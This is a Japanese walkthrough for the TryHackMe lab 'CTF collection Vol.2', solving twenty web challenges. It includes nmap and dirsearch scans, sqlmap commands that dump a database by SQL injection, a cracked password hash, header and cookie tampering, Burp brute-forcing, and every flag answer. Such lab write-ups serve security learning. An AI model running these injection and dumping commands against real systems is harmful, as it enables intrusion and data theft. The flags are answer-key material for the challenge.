概要
TryHackMe「CTF collection Vol.2」のWalkthroughです。
Task2
Q1.Easter 1
Hint.Check the robots
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.253.90 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 1b:c2:b6:2d:fb:32:cc:11:68:61:ab:31:5b:45:5c:f4 (DSA)
| 2048 8d:88:65:9d:31:ff:b4:62:f9:28:f2:7d:42:07:89:58 (RSA)
|_ 256 40:2e:b0:ed:2a:5a:9d:83:6a:6e:59:31:db:09:4c:cb (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: 360 No Scope!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 5.9p1 |
80 | http | Apache httpd 2.2.22 |
80
番ポートでWebサイトにアクセスできました。
/robots.txt
へアクセスすると文字列を得られました。
User-agent: * (I don't think this is entirely true, DesKel just wanna to play himself)
Disallow: /VlNCcElFSWdTQ0JKSUVZZ1dTQm5JR1VnYVNCQ0lGUWdTU0JFSUVrZ1p5QldJR2tnUWlCNklFa2dSaUJuSUdjZ1RTQjVJRUlnVHlCSklFY2dkeUJuSUZjZ1V5QkJJSG9nU1NCRklHOGdaeUJpSUVNZ1FpQnJJRWtnUlNCWklHY2dUeUJUSUVJZ2NDQkpJRVlnYXlCbklGY2dReUJDSUU4Z1NTQkhJSGNnUFElM0QlM0Q=
45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d
45 61 73 74 65 72 20 ~
を16進数デコードするとフラグを得られました。
$ echo "45 61 73 74 65 72 20 31 3a 20 54 48 4d 7b 34 75 37 30 62 30 37 5f 72 30 6c 6c 5f 30 75 37 7d" | xxd -r -p
Easter 1: THM{4u70b07_r0ll_0u7}
A.THM{4u70b07_r0ll_0u7}
Q2.Easter 2
Hint.Decode the base64 multiple times. Don't forget there are something being encoded.
Disallow
の文字列を複数回base64
でデコードするとDesKel_secret_base
という文字列を得られました。
/DesKel_secret_base
にアクセスし、ソースコードを見るとフラグを得られました。
A.THM{f4ll3n_b453}
Q3.Easter 3
Hint.Directory buster with common.txt might help.
ディレクトリの列挙を行います。
$ dirsearch -u http://10.10.253.90
[13:09:33] 200 - 38KB - /button
[13:10:02] 301 - 246B - /login -> http://10.10.253.90/login/
[13:10:02] 200 - 480B - /login/
[13:10:02] 200 - 480B - /login/index
[13:10:24] 200 - 341B - /robots.txt
[13:10:33] 200 - 248KB - /static
/login
のパスを見つけたのでアクセスし、ソースコードを見るとフラグを得られました。
A.THM{y0u_c4n'7_533_m3}
Q4.Easter 4
Hint.time-based sqli
/login
へsqlmap
を実行するとTHM_f0und_m3
データベースを発見しました。
$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbs
(省略)
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] THM_f0und_m3
データベースの中身を全て取得します。
$ sqlmap -u "http://10.10.221.183/login/" --data "username=name&password=pass&submit=submit" --batch --dbms mysql -D THM_f0und_m3 --dump
nothing_inside
テーブルからフラグを得られました。
THM{1nj3c7_l1k3_4_b055}
Database: THM_f0und_m3
Table: nothing_inside
[1 entry]
+-------------------------+
| Easter_4 |
+-------------------------+
| THM{1nj3c7_l1k3_4_b055} |
+-------------------------+
A.THM{1nj3c7_l1k3_4_b055}
Q5.Easter 5
Hint.Another sqli
Q4で実行したsqlmap
の結果から、ユーザー情報を得られました。
Database: THM_f0und_m3
Table: user
[2 entries]
+------------------------------------------+----------+
| password | username |
+------------------------------------------+----------+
| 05f3672ba34409136aa71b8d00070d1b (cutie) | DesKel |
| He is a nice guy, say hello for me | Skidy |
+------------------------------------------+----------+
Username: Deskel
,Password: cutie
でリクエストを送信するとフラグを得られました。
A.THM{wh47_d1d_17_c057_70_cr4ck_7h3_5ql}
Q6.Easter 6
Hint.Look out for the response header.
/
へアクセスした際のレスポンスヘッダーからフラグを得られました。
A.THM{l37'5_p4r7y_h4rd}
Q7.Easter 7
Hint.Cookie is delicious
Cookie
のvalue
を1
に変更し、/
へアクセスするとフラグを得られました。
A.THM{w3lc0m3!_4nd_w3lc0m3}
Q8.Easter 8
Hint.Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1
User-Agent
をヒントの物に変更するとレスポンスでフラグを得られました。
A.THM{h3y_r1ch3r_wh3r3_15_my_k1dn3y}
Q9.Easter 9
Hint.Something is redirected too fast. You need to capture it.
/ready
へアクセスし、ソースコードを見るとフラグを得られました。
A.THM{60nn4_60_f457}
Q10.Easter 10
Hint.Look at THM URL without https:// and use it as a referrer.
/free_sub/
へリクエストヘッダーとしてReferer: tryhackme.com
を追加すると、レスポンスでフラグを得られました。
A.THM{50rry_dud3}
Q11.Easter 11
Hint.Temper the html
dinner
パラメータにegg
を入れてPOSTリクエストを送信するとフラグを得られました。
A.THM{366y_b4k3y}
Q12.Easter 12
Hint.Fake js file
/jquery-9.1.2.js
を発見したのでアクセスするとstr1
変数に定義されている文字列を発見しました。
16進数でデコードするとフラグを得られました。
$ echo "4561737465722031322069732054484d7b68316464336e5f6a355f66316c337d" | xxd -r -p
Easter 12 is THM{h1dd3n_j5_f1l3}
A.THM{h1dd3n_j5_f1l3}
Q13.Easter 13
インデックスページから得られた/ready/gone.php
へアクセスするとフラグを得られます。
A.THM{1_c4n'7_b3l13v3_17}
Q14.Easter 14
Hint.Embed image code
インデックスページのコメントアウトからimgタグを発見しました。
別途HTMLファイルに書き出すとフラグの画像が得られました。
A.THM{d1r3c7_3mb3d}
Q15.Easter 15
Hint.Try guest the alphabet and the hash code
ヒントの文字列51 89 77 93 126 14 93 10
に対してデコードなどを試しましたが、有効なものは見つかりませんでした。
文字をa
,b
,c
など一文字ずつ送信するとそれぞれのハッシュ値を得られたのでA~Z
,a~z
全パターンを試してテーブルを作ります。
文字のリストファイルを作りBurpでブルートフォースします。
A
B
C
D
E
F
G
H
I
J
K
(省略)
レスポンスを確認し、ヒントに対応する文字を調べるます。
51(G) 89(a) 77(m) 93(e) 126(O) 14(v) 93(e) 10(r)
GameOver
という文字列を求めることが出来ました。
フォームで送信するとフラグを得られました。
A.THM{ju57_4_64m3}
Q16.Easter 16
Hint.Make all inputs into one form.
/game2
へbutton
パラメータをすべて追加してリクエストを送ると、レスポンスでフラグを得られました。
文字列のリストファイルを作り、Burpでブルートフォースをします。
A.THM{73mp3r_7h3_h7ml}
Q17.Easter 17
Hint.bin -> dec -> hex -> ascii
インデックスページのコメントアウトから文字列を発見しました。
ヒントの順番通りにデコードしてフラグを得られました。
A.THM{j5_j5_k3p_d3c0d3}
Q18.Easter 18
Hint.Request header. Format is egg:Yes
GETリクエストヘッダーにegg:Yes
A.THM{70ny_r0ll_7h3_366}
Q19.Easter 19
Hint.A thick dark line
small.png
にwidth=2000
,height=2
が設定されており、画像がうまく表示されていないと分かります。
/small.png
にアクセスし、画像を確認するとフラグを得られました。
A.THM{700_5m4ll_3yy}
Q20.Easter 20
Hint.You need to POST the data instead of GET. Burp suite or curl might help.
username=DesKel&password=heIsDumb
をBodyデータに追加して/
へPOSTリクエストを送信するとフラグを得られました。
A.THM{17_w45_m3_4ll_4l0n6}